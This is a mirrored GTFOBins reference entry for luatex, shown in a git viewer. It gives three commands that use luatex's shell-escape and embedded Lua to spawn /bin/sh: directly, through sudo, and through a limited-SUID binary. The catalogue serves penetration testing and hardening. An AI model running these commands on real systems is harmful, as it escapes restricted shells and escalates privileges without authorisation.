1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/luatex.md

11 lines
344 B
Markdown
Raw Normal View History

---
description: This allows to execute [`lua`](/gtfobins/lua/) code.
2021-04-22 22:15:59 +02:00
functions:
shell:
- code: luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
2021-04-22 22:15:59 +02:00
sudo:
- code: sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
limited-suid:
- code: ./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
---